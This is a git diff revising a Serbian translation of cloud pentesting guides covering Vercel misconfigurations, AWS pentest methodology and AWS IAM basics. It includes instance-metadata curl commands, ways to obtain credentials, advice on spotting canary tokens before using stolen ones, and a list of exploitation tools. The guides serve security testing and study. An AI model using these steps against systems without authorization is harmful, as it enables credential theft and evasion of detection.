-- **Prekomerno ovlašćivanje članova:** Dodeljivanje uloga sa više dozvola nego što je potrebno, što dovodi do neovlašćenog pristupa ili radnji.
+- **Prekomerno ovlašćivanje članova:** Dodeljivanje uloga sa više ovlašćenja nego što je potrebno, što dovodi do neovlašćenog pristupa ili radnji.
- **Pogrešne dodela uloga:** Pogrešno dodeljivanje uloga koje se ne poklapaju sa odgovornostima članova tima, uzrokujući eskalaciju privilegija.
- **Nedostatak segregacije projekata:** Neodvajanje osetljivih projekata, omogućavajući širi pristup nego što je planirano.
-- **Nedovoljno upravljanje grupama:** Nepravilno pregledanje ili ažuriranje grupa pristupa, što rezultira zastarelim ili neprimerenim dozvolama pristupa.
-- **Nepodudarne definicije uloga:** Korišćenje nepodudarnih ili nejasnih definicija uloga kroz različite grupe pristupa, što dovodi do konfuzije i bezbednosnih praznina.
+- **Nedovoljno upravljanje grupama:** Nepravilno pregledanje ili ažuriranje Grupa pristupa, što rezultira zastarelim ili neprimerenim pristupnim dozvolama.
+- **Nepodudarne definicije uloga:** Korišćenje nepodudarnih ili nejasnih definicija uloga kroz različite Grupe pristupa, što dovodi do konfuzije i bezbednosnih praznina.
---
@@ -334,8 +334,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
- **Log Drains ka trećim stranama:**
-- **Pogrešna konfiguracija:** Napadač bi mogao konfigurisati Log Drain da ukrade logove
-- **Rizik:** Delimična postojanost
+- **Pogrešna konfiguracija:** Napadač bi mogao konfigurisati Log Drain da ukrade logove.
+- **Rizik:** Delimična postojanost.
---
@@ -344,22 +344,22 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
- **Domen e-pošte tima:** Kada je konfigurisano, ovo podešavanje automatski poziva Vercel lične naloge sa adresama e-pošte koje se završavaju na specificiranom domenu (npr. `mydomain.com`) da se pridruže vašem timu prilikom registracije i na kontrolnoj tabli.
-- **Pogrešna konfiguracija:**
+- **Pogrešna konfiguracija:**
- Određivanje pogrešnog domena e-pošte ili pogrešno napisani domen u podešavanju domena e-pošte tima.
- Korišćenje uobičajenog domena e-pošte (npr. `gmail.com`, `hotmail.com`) umesto domena specifičnog za kompaniju.
- **Rizici:**
-- **Neovlašćen pristup:** Korisnici sa adresama e-pošte iz neplaniranih domena mogu primiti pozivnice da se pridruže vašem timu.
+- **Neovlašćen pristup:** Korisnici sa adresama e-pošte iz nepredviđenih domena mogu primiti pozivnice da se pridruže vašem timu.
- **Izlaganje podataka:** Potencijalno izlaganje osetljivih informacija o projektu neovlašćenim osobama.
- **Zaštićeni Git opsezi:** Omogućava vam da dodate do 5 Git opsega vašem timu kako biste sprečili druge Vercel timove da implementiraju repozitorijume iz zaštićenog opsega. Više timova može odrediti isti opseg, omogućavajući pristup obema timovima.
- **Pogrešna konfiguracija:** Ne dodavanje kritičnih Git opsega na zaštićenu listu.
- **Rizici:**
-- **Neovlašćene implementacije:** Drugi timovi mogu implementirati repozitorijume iz Git opsega vaše organizacije bez autorizacije.
-- **Izlaganje intelektualne svojine:** Proprietarni kod bi mogao biti implementiran i dostupan izvan vašeg tima.
+- **Neovlašćene implementacije:** Drugi timovi mogu implementirati repozitorijume iz Git opsega vaše organizacije bez odobrenja.
+- **Izlaganje intelektualne svojine:** Proprietarni kod može biti implementiran i dostupan izvan vašeg tima.
- **Politike varijabli okruženja:** Sprovodi politike za kreiranje i uređivanje varijabli okruženja tima. Konkretno, možete sprovoditi da se sve varijable okruženja kreiraju kao **Osetljive varijable okruženja**, koje može dekriptovati samo Vercelov sistem implementacije.
-- **Pogrešna konfiguracija:** Održavanje onemogućavanja osetljivih varijabli okruženja.
+- **Pogrešna konfiguracija:** Održavanje onemogućavanja sprovodjenja osetljivih varijabli okruženja.
- **Rizici:**
- **Izlaganje tajni:** Varijable okruženja mogu biti pregledane ili uređene od strane neovlašćenih članova tima.
-- **Curanje podataka:** Osetljive informacije kao što su API ključevi i kredencijali mogli bi procureti.
+- **Curanje podataka:** Osetljive informacije kao što su API ključevi i kredencijali mogli bi procuriti.
- **Revizijski log:** Pruža izvoz aktivnosti tima za poslednjih do 90 dana. Revizijski logovi pomažu u praćenju i praćenju radnji koje su izvršili članovi tima.
- **Pogrešna konfiguracija:**\
Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima.
@@ -367,14 +367,14 @@ Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima.
- **Povrede privatnosti:** Izlaganje osetljivih korisničkih aktivnosti i podataka.
- **Manipulacija logovima:** Zlonamerni akteri mogli bi izmeniti ili obrisati logove kako bi prikrili svoje tragove.
- **SAML jedinstveno prijavljivanje:** Omogućava prilagođavanje SAML autentifikacije i sinhronizacije direktorijuma za vaš tim, omogućavajući integraciju sa provajderom identiteta (IdP) za centralizovanu autentifikaciju i upravljanje korisnicima.
-- **Pogrešna konfiguracija:** Napadač bi mogao postaviti zadnja vrata u tim postavljanjem SAML parametara kao što su ID entiteta, SSO URL ili otisci sertifikata.
-- **Rizik:** Održavanje postojanosti
+- **Pogrešna konfiguracija:** Napadač bi mogao postaviti backdoor u Tim podešavanjem SAML parametara kao što su Entity ID, SSO URL ili otisci sertifikata.
+- **Rizik:** Održavanje postojanosti.
- **Vidljivost IP adresa:** Kontroliše da li se IP adrese, koje se mogu smatrati ličnim informacijama prema određenim zakonima o zaštiti podataka, prikazuju u upitima za praćenje i Log Drains.
- **Pogrešna konfiguracija:** Ostaviti vidljivost IP adresa omogućenom bez potrebe.
- **Rizici:**
-- **Povrede privatnosti:** Neusaglašenost sa propisima o zaštiti podataka kao što je GDPR.
+- **Povrede privatnosti:** Neusklađenost sa zakonima o zaštiti podataka kao što je GDPR.
- **Pravne posledice:** Potencijalne kazne i sankcije za nepravilno rukovanje ličnim podacima.
-- **Blokiranje IP adresa:** Omogućava konfiguraciju IP adresa i CIDR opsega koje Vercel treba da blokira zahteve. Blokirani zahtevi ne doprinose vašem fakturisanju.
+- **Blokiranje IP adresa:** Omogućava konfiguraciju IP adresa i CIDR opsega koje Vercel treba da blokira. Blokirani zahtevi ne doprinose vašem fakturisanju.
- **Pogrešna konfiguracija:** Može biti zloupotrebljeno od strane napadača da omogući zlonamerni saobraćaj ili blokira legitimni saobraćaj.
- **Rizici:**
- **Odbijanje usluge legitimnim korisnicima:** Blokiranje pristupa validnim korisnicima ili partnerima.
@@ -405,13 +405,13 @@ Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima.
- **Rizik:** IP spoofing, ranjivosti praćenja i potencijalno stavljanje na crnu listu ako su IP adrese povezane sa zlonamernim aktivnostima.
6. **Nepravilno uključivanje kontejnera za izgradnju**
- **Pogrešna konfiguracija:** Dodavanje kontejnera za izgradnju u Secure Compute mrežu kada pristup backend-u nije potreban tokom izgradnje.
-- **Rizik:** Povećana površina napada, produženi vremenski okviri za snabdevanje i nepotrebna potrošnja mrežnih resursa.
+- **Rizik:** Proširena površina napada, povećani kašnjenja u snabdevanju i nepotrebna potrošnja mrežnih resursa.
7. **Neuspeh u sigurnom rukovanju tajnama zaobilaženja**
- **Pogrešna konfiguracija:** Izlaganje ili nepravilno rukovanje tajnama korišćenim za zaobilaženje zaštite implementacije.
- **Rizik:** Neovlašćen pristup zaštićenim implementacijama, omogućavajući napadačima da manipulišu ili implementiraju zlonamerni kod.
8. **Ignorisanje konfiguracija za prebacivanje regiona**
- **Pogrešna konfiguracija:** Neuspostavljanje pasivnih regiona za prebacivanje ili pogrešno konfigurisanje postavki prebacivanja.
-- **Rizik:** Downtime usluge tokom prekida u primarnom regionu, što dovodi do smanjene dostupnosti i potencijalne neusklađenosti podataka.
+- **Rizik:** Downtime usluge tokom prekida primarnog regiona, što dovodi do smanjene dostupnosti i potencijalne neusklađenosti podataka.
9. **Prekoračenje limita veza VPC peeringa**
- **Pogrešna konfiguracija:** Pokušaj uspostavljanja više VPC peering veza nego što je dozvoljeno (npr. prekoračenje 50 veza).
- **Rizik:** Nemogućnost sigurne povezanosti potrebnih backend usluga, uzrokujući neuspehe implementacije i operativne prekide.
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 16518b4d9..a9a38e2d4 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,7 +4,7 @@
## Osnovne informacije
-**Pre nego što započnete pentesting** **AWS** okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako AWS funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite.
+**Pre nego što započnete pentesting** AWS okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako AWS funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite.
Koncepti kao što su hijerarhija organizacije, IAM i drugi osnovni koncepti su objašnjeni u:
@@ -31,7 +31,7 @@ Alati za simulaciju napada:
Da biste auditovali AWS okruženje, veoma je važno znati: koje **usluge se koriste**, šta je **izloženo**, ko ima **pristup** čemu, i kako su interne AWS usluge povezane sa **spoljnim uslugama**.
-Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Ovde su neke ideje kako to učiniti:
+Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Ovde imate nekoliko ideja kako to učiniti:
- **Leakovi** na github-u (ili sličnim mestima) - OSINT
- **Društveno** inženjerstvo
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> Nakon što ste uspeli da dobijete akreditive, treba da znate **kome ti akrediti pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
+> Nakon što ste uspeli da dobijete akreditive, treba da znate **čijim akreditivima pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
## Osnovna enumeracija
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
-> Imajte na umu da kompanije mogu koristiti **canary tokens** da identifikuju kada se **tokeni kradu i koriste**. Preporučuje se da proverite da li je token canary token ili ne pre nego što ga upotrebite.\
+> Imajte na umu da kompanije mogu koristiti **canary tokens** da identifikuju kada se **tokeni kradu i koriste**. Preporučuje se da proverite da li je token canary token pre nego što ga upotrebite.\
> Za više informacija [**proverite ovu stranicu**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -123,7 +123,7 @@ aws-services/
Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](./#automated-tools).
-Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima**, možda ćete moći da ih iskoristite:
+Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima,** možda ćete moći da ih iskoristite:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -142,7 +142,7 @@ aws-privilege-escalation/
Dok enumerišete AWS usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge čekanja, snimci ili kante...).\
Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima, jer bi vam mogle pružiti **dalji pristup AWS nalogu**.
-U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** na:
+U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** u:
{{#ref}}
https://book.hacktricks.xyz/
@@ -167,7 +167,7 @@ Dakle, da biste pristupili kao administrator detetovom nalogu, potrebno je:
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na AWS sigurnost, pisan u Ruby-ju.
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na sigurnost AWS-a, napisan u Ruby-u.
```bash
# Install
gem install aws_recon
@@ -179,7 +179,7 @@ AWS_PROFILE= aws_recon \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist je **alat za više oblaka za dobijanje resursa** (domaćinska imena, IP adrese) od provajdera oblaka.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja okruženja Amazon Web Services (AWS). Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja Amazon Web Services (AWS) okruženja. Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
@@ -235,12 +235,12 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase prikuplja resurse i odnose iz usluga i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom od strane Neo4j baze podataka.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Koristi python2) Ovo je alat koji pokušava da **otkrije sve** [**AWS resurse**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) kreirane u nalogu.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **preuzimanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **dobijanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Otkrijte najprivilegovanije korisnike u skeniranoj AWS sredini, uključujući AWS Shadow Admins. Koristi powershell. Možete pronaći **definiciju privilegovanih politika** u funkciji **`Check-PrivilegedPolicy`** u [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **pogrešne konfiguracije** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **pogrešne konfiguracije** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika.
- Imajte na umu da pacu **samo proverava vaše vlastite privesc puteve** (ne na nivou celog naloga).
```bash
# Install
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja principa minimalnih privilegija i generiše izveštaj u HTML formatu sa prioritetom rizika.\
-Prikazaće vam potencijalno **previše privilegovanog** korisnika, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge vrste zanimljivih dozvola, preporučuje se korišćenje).
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja minimalnih privilegija i generiše HTML izveštaj prioritizovan prema riziku.\
+Prikazaće vam potencijalno **previše privilegovan** korisnik, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge zanimljive dozvole, preporučuje se korišćenje).
```bash
# Install
pip install cloudsplaining
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u otimanju poddomena** kao rezultat odvojenih konfiguracija Route53 i CloudFront.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Uvedi backdoor -> Pomerite backdoor-ovanu sliku
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u preuzimanju poddomena** kao rezultat odvojenih konfiguracija Route53 i CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Postavi backdoor -> Pomerite backdoor-ovanu sliku
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag je alat koji **pretražuje** javne Elastic Block Storage (**EBS**) snimke za tajne koje su možda slučajno ostavljene.
-### Audit
+### Revizija
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** naloga, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins).
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** nalozima, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
@@ -314,7 +314,7 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju, kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -335,8 +335,8 @@ scout aws -p dev
### Kontinuirana Revizija
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian je motor pravila za upravljanje javnim cloud računima i resursima. Omogućava korisnicima da **definišu politike za omogućavanje dobro upravljane cloud infrastrukture**, koja je i sigurna i optimizovana za troškove. Konsoliduje mnoge ad-hoc skripte koje organizacije imaju u lagan i fleksibilan alat, sa jedinstvenim metrikama i izveštavanjem.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi otkriveni od strane PacBot-a se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za otkrivanje incidenata i odgovor na njih.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi koje otkrije PacBot se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za otkrivanje incidenata i odgovor.
## DEBUG: Zabeleži AWS cli zahteve
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 03d199541..c9b96ebad 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -8,7 +8,7 @@
### Računi
-U AWS-u postoji **root račun**, koji je **glavni kontejner za sve račune** vaše **organizacije**. Međutim, ne morate koristiti taj račun za implementaciju resursa, možete kreirati **druge račune kako biste odvojili različite AWS** infrastrukture između njih.
+U AWS postoji **root račun**, koji je **glavni kontejner za sve račune** vaše **organizacije**. Međutim, ne morate koristiti taj račun za implementaciju resursa, možete kreirati **druge račune kako biste odvojili različite AWS** infrastrukture između njih.
To je veoma zanimljivo sa **bezbednosnog** stanovišta, jer **jedan račun neće moći da pristupi resursima drugog računa** (osim ako su mostovi posebno kreirani), tako da na ovaj način možete postaviti granice između implementacija.
@@ -27,33 +27,33 @@ Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a
Račun za upravljanje ima **odgovornosti računa za plaćanje** i odgovoran je za plaćanje svih troškova koje generišu članovi računi. Ne možete promeniti račun za upravljanje organizacijom.
- **Članovi računi** čine sve ostale račune u organizaciji. Račun može biti član samo jedne organizacije u isto vreme. Možete prikačiti politiku na račun kako biste primenili kontrole samo na taj jedan račun.
-- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup tome).
+- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organizacione jedinice**
-Računi se mogu grupisati u **organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za organizacionu jedinicu koje će biti **primenjene na sve podračune**. Imajte na umu da OU može imati druge OU kao decu.
+Nalozi se mogu grupisati u **organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za organizacionu jedinicu koje će biti **primenjene na sve naloge dece**. Imajte na umu da OU može imati druge OU kao decu.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-**Politika kontrole usluga (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**.
+**Service control policy (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**.
-Ovo je JEDINI način na koji **čak i korisnik sa root privilegijama može biti sprečen** da uradi nešto. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\
+Ovo je JEDINI način na koji **čak i korisnik sa root privilegijama može biti sprečen** da nešto uradi. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\
Jedini način da se to zaobiđe je da se kompromituje i **glavni nalog** koji konfiguriše SCP-ove (glavni nalog ne može biti blokiran).
> [!WARNING]
> Imajte na umu da **SCP-ovi samo ograničavaju principe u nalogu**, tako da drugi nalozi nisu pogođeni. To znači da imati SCP koji odbija `s3:GetObject` neće sprečiti ljude da **pristupaju javnom S3 bucket-u** u vašem nalogu.
-Primeri SCP-a:
+SCP primeri:
-- Odbijanje glavnog naloga u potpunosti
+- Odbijanje root naloga u potpunosti
- Dozvoliti samo specifične regione
- Dozvoliti samo usluge sa bele liste
-- Odbijanje GuardDuty, CloudTrail i S3 javnog blokiranja pristupa od
+- Odbijanje GuardDuty, CloudTrail i S3 Public Block Access od
biti onemogućeni
@@ -63,7 +63,7 @@ biti obrisane ili
modifikovane.
-- Odbijanje brisanja rezervnih kopija.
+- Odbijanje rezervnih kopija od biti obrisane.
- Odbijanje kreiranja IAM korisnika i pristupnih ključeva
Pronađite **JSON primere** u [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
@@ -79,7 +79,7 @@ Napomena da postoje 4 particije u AWS-u, ali samo 3 načina da ih pozovete:
- AWS Standard: `aws`
- AWS China: `aws-cn`
-- AWS US javni Internet (GovCloud): `aws-us-gov`
+- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
## IAM - Upravljanje identitetom i pristupom
@@ -92,21 +92,21 @@ IAM je usluga koja će vam omogućiti da upravljate **autentifikacijom**, **auto
IAM se može definisati po svojoj sposobnosti da upravlja, kontroliše i reguliše mehanizme autentifikacije, autorizacije i kontrole pristupa identiteta vašim resursima unutar vašeg AWS naloga.
-### [AWS nalog root korisnika](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root korisnik**_ AWS naloga i pristupa mu se prijavom sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**.
+Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root user**_ AWS naloga i pristupa mu se prijavom sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**.
-Napomena da novi **admin korisnik** ima **manje dozvole od root korisnika**.
+Napomena da novi **admin user** ima **manje dozvole od root user-a**.
Sa bezbednosnog stanovišta, preporučuje se kreiranje drugih korisnika i izbegavanje korišćenja ovog.
-### [IAM korisnici](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i akreditiva (lozinka i do dva pristupna ključa).
Kada kreirate IAM korisnika, dodeljujete mu **dozvole** tako što ga činite **članom korisničke grupe** koja ima odgovarajuće politike dozvola (preporučeno), ili **direktno povezivanjem politika** sa korisnikom.
-Korisnici mogu imati **omogućen MFA za prijavu** putem konzole. API tokeni korisnika sa omogućenim MFA nisu zaštićeni MFA. Ako želite da **ograničite pristup API ključevima korisnika koristeći MFA**, morate naznačiti u politici da je za izvršavanje određenih radnji MFA potrebno (primer [**ovde**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Korisnici mogu imati **MFA omogućeno za prijavu** putem konzole. API tokeni korisnika sa omogućenom MFA nisu zaštićeni MFA. Ako želite da **ograničite pristup API ključevima korisnika koristeći MFA**, morate naznačiti u politici da je za izvršavanje određenih radnji MFA potrebno (primer [**ovde**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
@@ -119,7 +119,7 @@ Kad god trebate da **promenite pristupni ključ**, ovo je proces koji treba da p
### MFA - Višefaktorska autentifikacija
Koristi se za **kreiranje dodatnog faktora za autentifikaciju** pored vaših postojećih metoda, kao što je lozinka, čime se stvara višefaktorski nivo autentifikacije.\
